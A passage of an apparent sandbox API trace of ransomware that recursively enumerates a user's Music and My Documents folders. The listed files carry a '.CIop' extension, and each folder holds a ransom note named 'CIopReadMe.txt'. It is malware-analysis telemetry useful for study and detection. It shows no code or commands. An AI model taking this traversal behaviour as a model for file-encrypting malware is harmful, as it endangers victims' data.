(in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.497] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.497] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.497] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.497] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0138.497] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0138.497] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.497] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0138.497] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0138.497] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.497] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.497] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.498] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.498] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.498] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.498] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.498] lstrcmpW (lpString1="GO5j 80", lpString2="..") returned 1 [0138.498] lstrcmpW (lpString1="GO5j 80", lpString2=".") returned 1 [0138.498] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0138.498] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0138.498] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0138.498] SetErrorMode (uMode=0x1) returned 0x1 [0138.498] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0138.498] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0138.498] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0138.498] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0138.498] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.498] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0138.498] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0138.498] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.498] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.498] lstrcmpW (lpString1="2HvoIrFtByws.mp3.CIop", lpString2="..") returned 1 [0138.498] lstrcmpW (lpString1="2HvoIrFtByws.mp3.CIop", lpString2=".") returned 1 [0138.498] lstrlenW (lpString=".CIop") returned 5 [0138.498] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.505] lstrcmpW (lpString1="69_UAHNRs.mp3.CIop", lpString2="..") returned 1 [0138.505] lstrcmpW (lpString1="69_UAHNRs.mp3.CIop", lpString2=".") returned 1 [0138.505] lstrlenW (lpString=".CIop") returned 5 [0138.505] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.505] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.505] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.505] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.505] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.505] lstrcmpW (lpString1="dCyPtvG.wav.CIop", lpString2="..") returned 1 [0138.505] lstrcmpW (lpString1="dCyPtvG.wav.CIop", lpString2=".") returned 1 [0138.505] lstrlenW (lpString=".CIop") returned 5 [0138.505] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.505] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3.CIop", lpString2="..") returned 1 [0138.505] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3.CIop", lpString2=".") returned 1 [0138.505] lstrlenW (lpString=".CIop") returned 5 [0138.505] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.506] lstrcmpW (lpString1="gRZdqIY3h.mp3.CIop", lpString2="..") returned 1 [0138.506] lstrcmpW (lpString1="gRZdqIY3h.mp3.CIop", lpString2=".") returned 1 [0138.506] lstrlenW (lpString=".CIop") returned 5 [0138.506] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.506] lstrcmpW (lpString1="GsSWFcQiPn.wav.CIop", lpString2="..") returned 1 [0138.506] lstrcmpW (lpString1="GsSWFcQiPn.wav.CIop", lpString2=".") returned 1 [0138.506] lstrlenW (lpString=".CIop") returned 5 [0138.506] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.506] lstrcmpW (lpString1="LG0LJ99M.mp3.CIop", lpString2="..") returned 1 [0138.506] lstrcmpW (lpString1="LG0LJ99M.mp3.CIop", lpString2=".") returned 1 [0138.506] lstrlenW (lpString=".CIop") returned 5 [0138.506] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.506] lstrcmpW (lpString1="p6xCw Vob.mp3.CIop", lpString2="..") returned 1 [0138.506] lstrcmpW (lpString1="p6xCw Vob.mp3.CIop", lpString2=".") returned 1 [0138.506] lstrlenW (lpString=".CIop") returned 5 [0138.506] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.506] lstrcmpW (lpString1="t41qgP8Zl.wav.CIop", lpString2="..") returned 1 [0138.506] lstrcmpW (lpString1="t41qgP8Zl.wav.CIop", lpString2=".") returned 1 [0138.506] lstrlenW (lpString=".CIop") returned 5 [0138.506] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.506] lstrcmpW (lpString1="Tvn8aqPC_U.wav.CIop", lpString2="..") returned 1 [0138.506] lstrcmpW (lpString1="Tvn8aqPC_U.wav.CIop", lpString2=".") returned 1 [0138.506] lstrlenW (lpString=".CIop") returned 5 [0138.506] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.506] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.506] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.506] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0138.506] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0138.506] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.506] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0138.506] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0138.506] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.507] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.507] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.507] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.507] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2="..") returned 1 [0138.507] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2=".") returned 1 [0138.507] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0138.507] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0138.507] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0138.507] SetErrorMode (uMode=0x1) returned 0x1 [0138.507] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0138.507] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0138.507] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0138.507] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0138.507] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.507] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0138.507] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.507] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.508] lstrcmpW (lpString1="aR-iIw.m4a.CIop", lpString2="..") returned 1 [0138.508] lstrcmpW (lpString1="aR-iIw.m4a.CIop", lpString2=".") returned 1 [0138.508] lstrlenW (lpString=".CIop") returned 5 [0138.508] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.508] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav.CIop", lpString2="..") returned 1 [0138.508] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav.CIop", lpString2=".") returned 1 [0138.508] lstrlenW (lpString=".CIop") returned 5 [0138.508] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.508] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.508] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.508] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.508] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.508] lstrcmpW (lpString1="g8L7418FmZslF.wav.CIop", lpString2="..") returned 1 [0138.508] lstrcmpW (lpString1="g8L7418FmZslF.wav.CIop", lpString2=".") returned 1 [0138.508] lstrlenW (lpString=".CIop") returned 5 [0138.508] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.508] lstrcmpW (lpString1="lqlP4y.wav.CIop", lpString2="..") returned 1 [0138.508] lstrcmpW (lpString1="lqlP4y.wav.CIop", lpString2=".") returned 1 [0138.508] lstrlenW (lpString=".CIop") returned 5 [0138.508] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.508] lstrcmpW (lpString1="NRNil.wav.CIop", lpString2="..") returned 1 [0138.508] lstrcmpW (lpString1="NRNil.wav.CIop", lpString2=".") returned 1 [0138.508] lstrlenW (lpString=".CIop") returned 5 [0138.508] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.508] lstrcmpW (lpString1="rKQbOo.m4a.CIop", lpString2="..") returned 1 [0138.508] lstrcmpW (lpString1="rKQbOo.m4a.CIop", lpString2=".") returned 1 [0138.508] lstrlenW (lpString=".CIop") returned 5 [0138.508] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.508] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav.CIop", lpString2="..") returned 1 [0138.508] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav.CIop", lpString2=".") returned 1 [0138.508] lstrlenW (lpString=".CIop") returned 5 [0138.508] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.508] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.508] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.508] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0138.508] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0138.508] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.508] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0138.508] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0138.509] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.509] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.509] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.509] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.509] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.509] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.509] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.509] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.509] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.509] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.509] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.509] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.509] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.509] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.509] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.509] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.509] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.509] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0138.509] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0138.509] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.509] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.509] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0138.509] SetErrorMode (uMode=0x1) returned 0x1 [0138.509] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0138.509] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0138.509] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0138.509] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0138.509] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.510] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0138.510] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0138.510] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.510] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.510] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.510] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0138.510] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0138.510] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.510] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0138.510] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0138.510] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0138.510] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0138.510] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0138.510] SetErrorMode (uMode=0x1) returned 0x1 [0138.510] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0138.510] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0138.510] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" 